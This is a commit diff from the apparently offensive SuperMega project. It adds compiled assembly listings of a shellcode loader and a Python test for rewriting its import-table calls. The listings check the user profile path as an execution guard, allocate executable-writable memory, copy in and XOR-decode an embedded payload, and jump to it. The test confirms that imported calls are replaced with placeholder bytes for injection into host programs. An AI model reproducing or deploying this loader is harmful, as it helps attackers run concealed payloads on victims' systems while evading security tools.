mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
refactor: iat related
This commit is contained in:
Dobin
@@ -0,0 +1,190 @@
|
||||
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0
|
||||
|
||||
include listing.inc
|
||||
|
||||
INCLUDELIB LIBCMT
|
||||
INCLUDELIB OLDNAMES
|
||||
|
||||
_DATA SEGMENT
|
||||
COMM supermega_payload:QWORD
|
||||
_DATA ENDS
|
||||
PUBLIC main
|
||||
PUBLIC mystrcmp
|
||||
EXTRN __imp_GetEnvironmentVariableW:PROC
|
||||
EXTRN __imp_VirtualAlloc:PROC
|
||||
pdata SEGMENT
|
||||
$pdata$main DD imagerel $LN8
|
||||
DD imagerel $LN8+266
|
||||
DD imagerel $unwind$main
|
||||
$pdata$mystrcmp DD imagerel $LN6
|
||||
DD imagerel $LN6+109
|
||||
DD imagerel $unwind$mystrcmp
|
||||
pdata ENDS
|
||||
_DATA SEGMENT
|
||||
$SG72513 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
|
||||
DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
|
||||
$SG72514 DB 'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H
|
||||
DB 'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k'
|
||||
DB 00H, 'e', 00H, 'r', 00H, 00H, 00H
|
||||
_DATA ENDS
|
||||
xdata SEGMENT
|
||||
$unwind$main DD 040a01H
|
||||
DD 010f010aH
|
||||
DD 060027003H
|
||||
$unwind$mystrcmp DD 010e01H
|
||||
DD 0220eH
|
||||
xdata ENDS
|
||||
; Function compile flags: /Odtp
|
||||
_TEXT SEGMENT
|
||||
i$ = 0
|
||||
str1$ = 32
|
||||
str2$ = 40
|
||||
mystrcmp PROC
|
||||
; File C:\Users\hacker\source\repos\supermega\build\main.c
|
||||
; Line 40
|
||||
$LN6:
|
||||
mov QWORD PTR [rsp+16], rdx
|
||||
mov QWORD PTR [rsp+8], rcx
|
||||
sub rsp, 24
|
||||
; Line 41
|
||||
mov DWORD PTR i$[rsp], 0
|
||||
$LN2@mystrcmp:
|
||||
; Line 42
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str1$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
test eax, eax
|
||||
je SHORT $LN3@mystrcmp
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str2$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
test eax, eax
|
||||
je SHORT $LN3@mystrcmp
|
||||
; Line 43
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str1$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
movsxd rcx, DWORD PTR i$[rsp]
|
||||
mov rdx, QWORD PTR str2$[rsp]
|
||||
movzx ecx, WORD PTR [rdx+rcx*2]
|
||||
cmp eax, ecx
|
||||
je SHORT $LN4@mystrcmp
|
||||
; Line 44
|
||||
mov eax, 1
|
||||
jmp SHORT $LN1@mystrcmp
|
||||
$LN4@mystrcmp:
|
||||
; Line 46
|
||||
mov eax, DWORD PTR i$[rsp]
|
||||
inc eax
|
||||
mov DWORD PTR i$[rsp], eax
|
||||
; Line 47
|
||||
jmp SHORT $LN2@mystrcmp
|
||||
$LN3@mystrcmp:
|
||||
; Line 48
|
||||
xor eax, eax
|
||||
$LN1@mystrcmp:
|
||||
; Line 49
|
||||
add rsp, 24
|
||||
ret 0
|
||||
mystrcmp ENDP
|
||||
_TEXT ENDS
|
||||
; Function compile flags: /Odtp
|
||||
_TEXT SEGMENT
|
||||
n$1 = 32
|
||||
dest$ = 40
|
||||
result$ = 48
|
||||
envVarName$ = 56
|
||||
tocheck$ = 80
|
||||
buffer$ = 112
|
||||
main PROC
|
||||
; File C:\Users\hacker\source\repos\supermega\build\main.c
|
||||
; Line 6
|
||||
$LN8:
|
||||
push rsi
|
||||
push rdi
|
||||
sub rsp, 2168 ; 00000878H
|
||||
; Line 10
|
||||
lea rax, QWORD PTR envVarName$[rsp]
|
||||
lea rcx, OFFSET FLAT:$SG72513
|
||||
mov rdi, rax
|
||||
mov rsi, rcx
|
||||
mov ecx, 24
|
||||
rep movsb
|
||||
; Line 11
|
||||
lea rax, QWORD PTR tocheck$[rsp]
|
||||
lea rcx, OFFSET FLAT:$SG72514
|
||||
mov rdi, rax
|
||||
mov rsi, rcx
|
||||
mov ecx, 32 ; 00000020H
|
||||
rep movsb
|
||||
; Line 13
|
||||
mov r8d, 1024 ; 00000400H
|
||||
lea rdx, QWORD PTR buffer$[rsp]
|
||||
lea rcx, QWORD PTR envVarName$[rsp]
|
||||
call QWORD PTR __imp_GetEnvironmentVariableW
|
||||
mov DWORD PTR result$[rsp], eax
|
||||
; Line 14
|
||||
cmp DWORD PTR result$[rsp], 0
|
||||
jne SHORT $LN5@main
|
||||
; Line 15
|
||||
mov eax, 6
|
||||
jmp $LN1@main
|
||||
$LN5@main:
|
||||
; Line 17
|
||||
lea rdx, QWORD PTR tocheck$[rsp]
|
||||
lea rcx, QWORD PTR buffer$[rsp]
|
||||
call mystrcmp
|
||||
test eax, eax
|
||||
je SHORT $LN6@main
|
||||
; Line 18
|
||||
mov eax, 6
|
||||
jmp SHORT $LN1@main
|
||||
$LN6@main:
|
||||
; Line 23
|
||||
mov r9d, 64 ; 00000040H
|
||||
mov r8d, 12288 ; 00003000H
|
||||
mov edx, 347 ; 0000015bH
|
||||
xor ecx, ecx
|
||||
call QWORD PTR __imp_VirtualAlloc
|
||||
mov QWORD PTR dest$[rsp], rax
|
||||
; Line 29
|
||||
mov DWORD PTR n$1[rsp], 0
|
||||
jmp SHORT $LN4@main
|
||||
$LN2@main:
|
||||
mov eax, DWORD PTR n$1[rsp]
|
||||
inc eax
|
||||
mov DWORD PTR n$1[rsp], eax
|
||||
$LN4@main:
|
||||
cmp DWORD PTR n$1[rsp], 347 ; 0000015bH
|
||||
jge SHORT $LN3@main
|
||||
; Line 30
|
||||
movsxd rax, DWORD PTR n$1[rsp]
|
||||
movsxd rcx, DWORD PTR n$1[rsp]
|
||||
mov rdx, QWORD PTR dest$[rsp]
|
||||
mov rdi, QWORD PTR supermega_payload
|
||||
movzx eax, BYTE PTR [rdi+rax]
|
||||
mov BYTE PTR [rdx+rcx], al
|
||||
; Line 31
|
||||
movsxd rax, DWORD PTR n$1[rsp]
|
||||
mov rcx, QWORD PTR dest$[rsp]
|
||||
movsx eax, BYTE PTR [rcx+rax]
|
||||
xor eax, 49 ; 00000031H
|
||||
movsxd rcx, DWORD PTR n$1[rsp]
|
||||
mov rdx, QWORD PTR dest$[rsp]
|
||||
mov BYTE PTR [rdx+rcx], al
|
||||
; Line 32
|
||||
jmp SHORT $LN2@main
|
||||
$LN3@main:
|
||||
; Line 35
|
||||
call QWORD PTR dest$[rsp]
|
||||
; Line 37
|
||||
xor eax, eax
|
||||
$LN1@main:
|
||||
; Line 38
|
||||
add rsp, 2168 ; 00000878H
|
||||
pop rdi
|
||||
pop rsi
|
||||
ret 0
|
||||
main ENDP
|
||||
_TEXT ENDS
|
||||
END
|
||||
@@ -0,0 +1,190 @@
|
||||
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0
|
||||
|
||||
include listing.inc
|
||||
|
||||
INCLUDELIB LIBCMT
|
||||
INCLUDELIB OLDNAMES
|
||||
|
||||
_DATA SEGMENT
|
||||
COMM supermega_payload:QWORD
|
||||
_DATA ENDS
|
||||
PUBLIC main
|
||||
PUBLIC mystrcmp
|
||||
EXTRN __imp_GetEnvironmentVariableW:PROC
|
||||
EXTRN __imp_VirtualAlloc:PROC
|
||||
pdata SEGMENT
|
||||
$pdata$main DD imagerel $LN8
|
||||
DD imagerel $LN8+266
|
||||
DD imagerel $unwind$main
|
||||
$pdata$mystrcmp DD imagerel $LN6
|
||||
DD imagerel $LN6+109
|
||||
DD imagerel $unwind$mystrcmp
|
||||
pdata ENDS
|
||||
_DATA SEGMENT
|
||||
$SG72513 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
|
||||
DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
|
||||
$SG72514 DB 'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H
|
||||
DB 'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k'
|
||||
DB 00H, 'e', 00H, 'r', 00H, 00H, 00H
|
||||
_DATA ENDS
|
||||
xdata SEGMENT
|
||||
$unwind$main DD 040a01H
|
||||
DD 010f010aH
|
||||
DD 060027003H
|
||||
$unwind$mystrcmp DD 010e01H
|
||||
DD 0220eH
|
||||
xdata ENDS
|
||||
; Function compile flags: /Odtp
|
||||
_TEXT SEGMENT
|
||||
i$ = 0
|
||||
str1$ = 32
|
||||
str2$ = 40
|
||||
mystrcmp PROC
|
||||
; File C:\Users\hacker\source\repos\supermega\build\main.c
|
||||
; Line 40
|
||||
$LN6:
|
||||
mov QWORD PTR [rsp+16], rdx
|
||||
mov QWORD PTR [rsp+8], rcx
|
||||
sub rsp, 24
|
||||
; Line 41
|
||||
mov DWORD PTR i$[rsp], 0
|
||||
$LN2@mystrcmp:
|
||||
; Line 42
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str1$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
test eax, eax
|
||||
je SHORT $LN3@mystrcmp
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str2$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
test eax, eax
|
||||
je SHORT $LN3@mystrcmp
|
||||
; Line 43
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str1$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
movsxd rcx, DWORD PTR i$[rsp]
|
||||
mov rdx, QWORD PTR str2$[rsp]
|
||||
movzx ecx, WORD PTR [rdx+rcx*2]
|
||||
cmp eax, ecx
|
||||
je SHORT $LN4@mystrcmp
|
||||
; Line 44
|
||||
mov eax, 1
|
||||
jmp SHORT $LN1@mystrcmp
|
||||
$LN4@mystrcmp:
|
||||
; Line 46
|
||||
mov eax, DWORD PTR i$[rsp]
|
||||
inc eax
|
||||
mov DWORD PTR i$[rsp], eax
|
||||
; Line 47
|
||||
jmp SHORT $LN2@mystrcmp
|
||||
$LN3@mystrcmp:
|
||||
; Line 48
|
||||
xor eax, eax
|
||||
$LN1@mystrcmp:
|
||||
; Line 49
|
||||
add rsp, 24
|
||||
ret 0
|
||||
mystrcmp ENDP
|
||||
_TEXT ENDS
|
||||
; Function compile flags: /Odtp
|
||||
_TEXT SEGMENT
|
||||
n$1 = 32
|
||||
dest$ = 40
|
||||
result$ = 48
|
||||
envVarName$ = 56
|
||||
tocheck$ = 80
|
||||
buffer$ = 112
|
||||
main PROC
|
||||
; File C:\Users\hacker\source\repos\supermega\build\main.c
|
||||
; Line 6
|
||||
$LN8:
|
||||
push rsi
|
||||
push rdi
|
||||
sub rsp, 2168 ; 00000878H
|
||||
; Line 10
|
||||
lea rax, QWORD PTR envVarName$[rsp]
|
||||
lea rcx, OFFSET FLAT:$SG72513
|
||||
mov rdi, rax
|
||||
mov rsi, rcx
|
||||
mov ecx, 24
|
||||
rep movsb
|
||||
; Line 11
|
||||
lea rax, QWORD PTR tocheck$[rsp]
|
||||
lea rcx, OFFSET FLAT:$SG72514
|
||||
mov rdi, rax
|
||||
mov rsi, rcx
|
||||
mov ecx, 32 ; 00000020H
|
||||
rep movsb
|
||||
; Line 13
|
||||
mov r8d, 1024 ; 00000400H
|
||||
lea rdx, QWORD PTR buffer$[rsp]
|
||||
lea rcx, QWORD PTR envVarName$[rsp]
|
||||
call QWORD PTR __imp_GetEnvironmentVariableW
|
||||
mov DWORD PTR result$[rsp], eax
|
||||
; Line 14
|
||||
cmp DWORD PTR result$[rsp], 0
|
||||
jne SHORT $LN5@main
|
||||
; Line 15
|
||||
mov eax, 6
|
||||
jmp $LN1@main
|
||||
$LN5@main:
|
||||
; Line 17
|
||||
lea rdx, QWORD PTR tocheck$[rsp]
|
||||
lea rcx, QWORD PTR buffer$[rsp]
|
||||
call mystrcmp
|
||||
test eax, eax
|
||||
je SHORT $LN6@main
|
||||
; Line 18
|
||||
mov eax, 6
|
||||
jmp SHORT $LN1@main
|
||||
$LN6@main:
|
||||
; Line 23
|
||||
mov r9d, 64 ; 00000040H
|
||||
mov r8d, 12288 ; 00003000H
|
||||
mov edx, 347 ; 0000015bH
|
||||
xor ecx, ecx
|
||||
call QWORD PTR __imp_VirtualAlloc
|
||||
mov QWORD PTR dest$[rsp], rax
|
||||
; Line 29
|
||||
mov DWORD PTR n$1[rsp], 0
|
||||
jmp SHORT $LN4@main
|
||||
$LN2@main:
|
||||
mov eax, DWORD PTR n$1[rsp]
|
||||
inc eax
|
||||
mov DWORD PTR n$1[rsp], eax
|
||||
$LN4@main:
|
||||
cmp DWORD PTR n$1[rsp], 347 ; 0000015bH
|
||||
jge SHORT $LN3@main
|
||||
; Line 30
|
||||
movsxd rax, DWORD PTR n$1[rsp]
|
||||
movsxd rcx, DWORD PTR n$1[rsp]
|
||||
mov rdx, QWORD PTR dest$[rsp]
|
||||
mov rdi, QWORD PTR supermega_payload
|
||||
movzx eax, BYTE PTR [rdi+rax]
|
||||
mov BYTE PTR [rdx+rcx], al
|
||||
; Line 31
|
||||
movsxd rax, DWORD PTR n$1[rsp]
|
||||
mov rcx, QWORD PTR dest$[rsp]
|
||||
movsx eax, BYTE PTR [rcx+rax]
|
||||
xor eax, 49 ; 00000031H
|
||||
movsxd rcx, DWORD PTR n$1[rsp]
|
||||
mov rdx, QWORD PTR dest$[rsp]
|
||||
mov BYTE PTR [rdx+rcx], al
|
||||
; Line 32
|
||||
jmp SHORT $LN2@main
|
||||
$LN3@main:
|
||||
; Line 35
|
||||
call QWORD PTR dest$[rsp]
|
||||
; Line 37
|
||||
xor eax, eax
|
||||
$LN1@main:
|
||||
; Line 38
|
||||
add rsp, 2168 ; 00000878H
|
||||
pop rdi
|
||||
pop rsi
|
||||
ret 0
|
||||
main ENDP
|
||||
_TEXT ENDS
|
||||
END
|
||||
@@ -0,0 +1,214 @@
|
||||
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0
|
||||
|
||||
include listing.inc
|
||||
|
||||
INCLUDELIB LIBCMT
|
||||
INCLUDELIB OLDNAMES
|
||||
|
||||
_DATA SEGMENT
|
||||
COMM supermega_payload:QWORD
|
||||
_DATA ENDS
|
||||
PUBLIC main
|
||||
PUBLIC mystrcmp
|
||||
EXTRN __imp_GetEnvironmentVariableW:PROC
|
||||
EXTRN __imp_VirtualAlloc:PROC
|
||||
pdata SEGMENT
|
||||
$pdata$main DD imagerel $LN8
|
||||
DD imagerel $LN8+453
|
||||
DD imagerel $unwind$main
|
||||
$pdata$mystrcmp DD imagerel $LN6
|
||||
DD imagerel $LN6+109
|
||||
DD imagerel $unwind$mystrcmp
|
||||
pdata ENDS
|
||||
xdata SEGMENT
|
||||
$unwind$main DD 020701H
|
||||
DD 010f0107H
|
||||
$unwind$mystrcmp DD 010e01H
|
||||
DD 0220eH
|
||||
xdata ENDS
|
||||
; Function compile flags: /Odtp
|
||||
_TEXT SEGMENT
|
||||
i$ = 0
|
||||
str1$ = 32
|
||||
str2$ = 40
|
||||
mystrcmp PROC
|
||||
; File C:\Users\hacker\source\repos\supermega\build\main.c
|
||||
; Line 37
|
||||
$LN6:
|
||||
mov QWORD PTR [rsp+16], rdx
|
||||
mov QWORD PTR [rsp+8], rcx
|
||||
sub rsp, 24
|
||||
; Line 38
|
||||
mov DWORD PTR i$[rsp], 0
|
||||
$LN2@mystrcmp:
|
||||
; Line 39
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str1$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
test eax, eax
|
||||
je SHORT $LN3@mystrcmp
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str2$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
test eax, eax
|
||||
je SHORT $LN3@mystrcmp
|
||||
; Line 40
|
||||
movsxd rax, DWORD PTR i$[rsp]
|
||||
mov rcx, QWORD PTR str1$[rsp]
|
||||
movzx eax, WORD PTR [rcx+rax*2]
|
||||
movsxd rcx, DWORD PTR i$[rsp]
|
||||
mov rdx, QWORD PTR str2$[rsp]
|
||||
movzx ecx, WORD PTR [rdx+rcx*2]
|
||||
cmp eax, ecx
|
||||
je SHORT $LN4@mystrcmp
|
||||
; Line 41
|
||||
mov eax, 1
|
||||
jmp SHORT $LN1@mystrcmp
|
||||
$LN4@mystrcmp:
|
||||
; Line 43
|
||||
mov eax, DWORD PTR i$[rsp]
|
||||
inc eax
|
||||
mov DWORD PTR i$[rsp], eax
|
||||
; Line 44
|
||||
jmp SHORT $LN2@mystrcmp
|
||||
$LN3@mystrcmp:
|
||||
; Line 45
|
||||
xor eax, eax
|
||||
$LN1@mystrcmp:
|
||||
; Line 46
|
||||
add rsp, 24
|
||||
ret 0
|
||||
mystrcmp ENDP
|
||||
_TEXT ENDS
|
||||
; Function compile flags: /Odtp
|
||||
_TEXT SEGMENT
|
||||
n$1 = 32
|
||||
envVarName$ = 40
|
||||
tocheck$ = 64
|
||||
result$ = 96
|
||||
dest$ = 104
|
||||
buffer$ = 112
|
||||
main PROC
|
||||
; File C:\Users\hacker\source\repos\supermega\build\main.c
|
||||
; Line 6
|
||||
$LN8:
|
||||
sub rsp, 2168 ; 00000878H
|
||||
; Line 8
|
||||
mov eax, 85 ; 00000055H
|
||||
mov WORD PTR envVarName$[rsp], ax
|
||||
mov eax, 83 ; 00000053H
|
||||
mov WORD PTR envVarName$[rsp+2], ax
|
||||
mov eax, 69 ; 00000045H
|
||||
mov WORD PTR envVarName$[rsp+4], ax
|
||||
mov eax, 82 ; 00000052H
|
||||
mov WORD PTR envVarName$[rsp+6], ax
|
||||
mov eax, 80 ; 00000050H
|
||||
mov WORD PTR envVarName$[rsp+8], ax
|
||||
mov eax, 82 ; 00000052H
|
||||
mov WORD PTR envVarName$[rsp+10], ax
|
||||
mov eax, 79 ; 0000004fH
|
||||
mov WORD PTR envVarName$[rsp+12], ax
|
||||
mov eax, 70 ; 00000046H
|
||||
mov WORD PTR envVarName$[rsp+14], ax
|
||||
mov eax, 73 ; 00000049H
|
||||
mov WORD PTR envVarName$[rsp+16], ax
|
||||
mov eax, 76 ; 0000004cH
|
||||
mov WORD PTR envVarName$[rsp+18], ax
|
||||
mov eax, 69 ; 00000045H
|
||||
mov WORD PTR envVarName$[rsp+20], ax
|
||||
xor eax, eax
|
||||
mov WORD PTR envVarName$[rsp+22], ax
|
||||
; Line 9
|
||||
mov eax, 67 ; 00000043H
|
||||
mov WORD PTR tocheck$[rsp], ax
|
||||
mov eax, 58 ; 0000003aH
|
||||
mov WORD PTR tocheck$[rsp+2], ax
|
||||
mov eax, 92 ; 0000005cH
|
||||
mov WORD PTR tocheck$[rsp+4], ax
|
||||
mov eax, 85 ; 00000055H
|
||||
mov WORD PTR tocheck$[rsp+6], ax
|
||||
mov eax, 115 ; 00000073H
|
||||
mov WORD PTR tocheck$[rsp+8], ax
|
||||
mov eax, 101 ; 00000065H
|
||||
mov WORD PTR tocheck$[rsp+10], ax
|
||||
mov eax, 114 ; 00000072H
|
||||
mov WORD PTR tocheck$[rsp+12], ax
|
||||
mov eax, 115 ; 00000073H
|
||||
mov WORD PTR tocheck$[rsp+14], ax
|
||||
mov eax, 92 ; 0000005cH
|
||||
mov WORD PTR tocheck$[rsp+16], ax
|
||||
mov eax, 104 ; 00000068H
|
||||
mov WORD PTR tocheck$[rsp+18], ax
|
||||
mov eax, 97 ; 00000061H
|
||||
mov WORD PTR tocheck$[rsp+20], ax
|
||||
mov eax, 99 ; 00000063H
|
||||
mov WORD PTR tocheck$[rsp+22], ax
|
||||
mov eax, 107 ; 0000006bH
|
||||
mov WORD PTR tocheck$[rsp+24], ax
|
||||
mov eax, 101 ; 00000065H
|
||||
mov WORD PTR tocheck$[rsp+26], ax
|
||||
mov eax, 114 ; 00000072H
|
||||
mov WORD PTR tocheck$[rsp+28], ax
|
||||
xor eax, eax
|
||||
mov WORD PTR tocheck$[rsp+30], ax
|
||||
; Line 11
|
||||
mov r8d, 1024 ; 00000400H
|
||||
lea rdx, QWORD PTR buffer$[rsp]
|
||||
lea rcx, QWORD PTR envVarName$[rsp]
|
||||
call QWORD PTR __imp_GetEnvironmentVariableW
|
||||
mov DWORD PTR result$[rsp], eax
|
||||
; Line 12
|
||||
cmp DWORD PTR result$[rsp], 0
|
||||
jne SHORT $LN5@main
|
||||
; Line 13
|
||||
mov eax, 6
|
||||
jmp SHORT $LN1@main
|
||||
$LN5@main:
|
||||
; Line 15
|
||||
lea rdx, QWORD PTR tocheck$[rsp]
|
||||
lea rcx, QWORD PTR buffer$[rsp]
|
||||
call mystrcmp
|
||||
test eax, eax
|
||||
je SHORT $LN6@main
|
||||
; Line 16
|
||||
mov eax, 6
|
||||
jmp SHORT $LN1@main
|
||||
$LN6@main:
|
||||
; Line 21
|
||||
mov r9d, 64 ; 00000040H
|
||||
mov r8d, 12288 ; 00003000H
|
||||
mov edx, 4096 ; 00001000H
|
||||
xor ecx, ecx
|
||||
call QWORD PTR __imp_VirtualAlloc
|
||||
mov QWORD PTR dest$[rsp], rax
|
||||
; Line 27
|
||||
mov DWORD PTR n$1[rsp], 0
|
||||
jmp SHORT $LN4@main
|
||||
$LN2@main:
|
||||
mov eax, DWORD PTR n$1[rsp]
|
||||
inc eax
|
||||
mov DWORD PTR n$1[rsp], eax
|
||||
$LN4@main:
|
||||
cmp DWORD PTR n$1[rsp], 11223344 ; 00ab4130H
|
||||
jge SHORT $LN3@main
|
||||
; Line 28
|
||||
movsxd rax, DWORD PTR n$1[rsp]
|
||||
movsxd rcx, DWORD PTR n$1[rsp]
|
||||
mov rdx, QWORD PTR dest$[rsp]
|
||||
mov r8, QWORD PTR supermega_payload
|
||||
movzx eax, BYTE PTR [r8+rax]
|
||||
mov BYTE PTR [rdx+rcx], al
|
||||
; Line 29
|
||||
jmp SHORT $LN2@main
|
||||
$LN3@main:
|
||||
; Line 32
|
||||
call QWORD PTR dest$[rsp]
|
||||
; Line 34
|
||||
xor eax, eax
|
||||
$LN1@main:
|
||||
; Line 35
|
||||
add rsp, 2168 ; 00000878H
|
||||
ret 0
|
||||
main ENDP
|
||||
_TEXT ENDS
|
||||
END
|
||||
+14
-10
@@ -6,6 +6,7 @@ import logging
|
||||
from phases.compiler import fixup_asm_file, fixup_iat_reuse
|
||||
from model.exehost import ExeHost
|
||||
from model.defs import *
|
||||
from model.carrier import Carrier
|
||||
from observer import observer
|
||||
|
||||
|
||||
@@ -39,20 +40,23 @@ class AsmTest(unittest.TestCase):
|
||||
os.remove(path_working)
|
||||
|
||||
|
||||
def test_asm_iat_fixup(self):
|
||||
def test_asm_iat_request(self):
|
||||
path_in: FilePath = "tests/data/iat_reuse_pre_fixup.asm"
|
||||
path_working: FilePath = "tests/data/iat_reuse_pre_fixup.asm.test"
|
||||
shutil.copy(path_in, path_working)
|
||||
|
||||
exe_host = ExeHost()
|
||||
carrier = Carrier()
|
||||
fixup_iat_reuse(path_working, carrier)
|
||||
|
||||
fixup_iat_reuse(path_working, exe_host)
|
||||
self.assertTrue(len(exe_host.iat_resolves), 2)
|
||||
self.assertEqual(len(carrier.iat_requests), 2)
|
||||
|
||||
self.assertTrue("GetEnvironmentVariableW" in exe_host.iat_resolves)
|
||||
self.assertEqual(exe_host.iat_resolves["GetEnvironmentVariableW"].name, "GetEnvironmentVariableW")
|
||||
self.assertEqual(exe_host.iat_resolves["GetEnvironmentVariableW"].addr, 0)
|
||||
self.assertTrue(len(exe_host.iat_resolves["GetEnvironmentVariableW"].id), 6) # 6 random bytes
|
||||
req1 = carrier.iat_requests[0]
|
||||
self.assertEqual(req1.name, "GetEnvironmentVariableW")
|
||||
self.assertTrue(len(req1.placeholder), 6) # 6 random bytes
|
||||
|
||||
req2 = carrier.iat_requests[1]
|
||||
self.assertEqual(req2.name, "VirtualAlloc")
|
||||
self.assertTrue(len(req2.placeholder), 6) # 6 random bytes
|
||||
|
||||
with open(path_working, "r") as f:
|
||||
lines = f.readlines()
|
||||
@@ -63,10 +67,10 @@ class AsmTest(unittest.TestCase):
|
||||
|
||||
# call QWORD PTR __imp_GetEnvironmentVariableW
|
||||
# DB 044H, 0aeH, 06cH, 0b6H, 072H, 07cH
|
||||
self.assertTrue(lines[158-1].startswith(" DB "))
|
||||
self.assertTrue(lines[124-1].startswith(" DB "))
|
||||
|
||||
# call QWORD PTR __imp_VirtualAlloc
|
||||
# DB 0c7H, 0b6H, 0feH, 0dcH, 0b2H, 0c6H
|
||||
self.assertTrue(lines[182-1].startswith(" DB "))
|
||||
self.assertTrue(lines[148-1].startswith(" DB "))
|
||||
|
||||
os.remove(path_working)
|
||||
Reference in New Issue
Block a user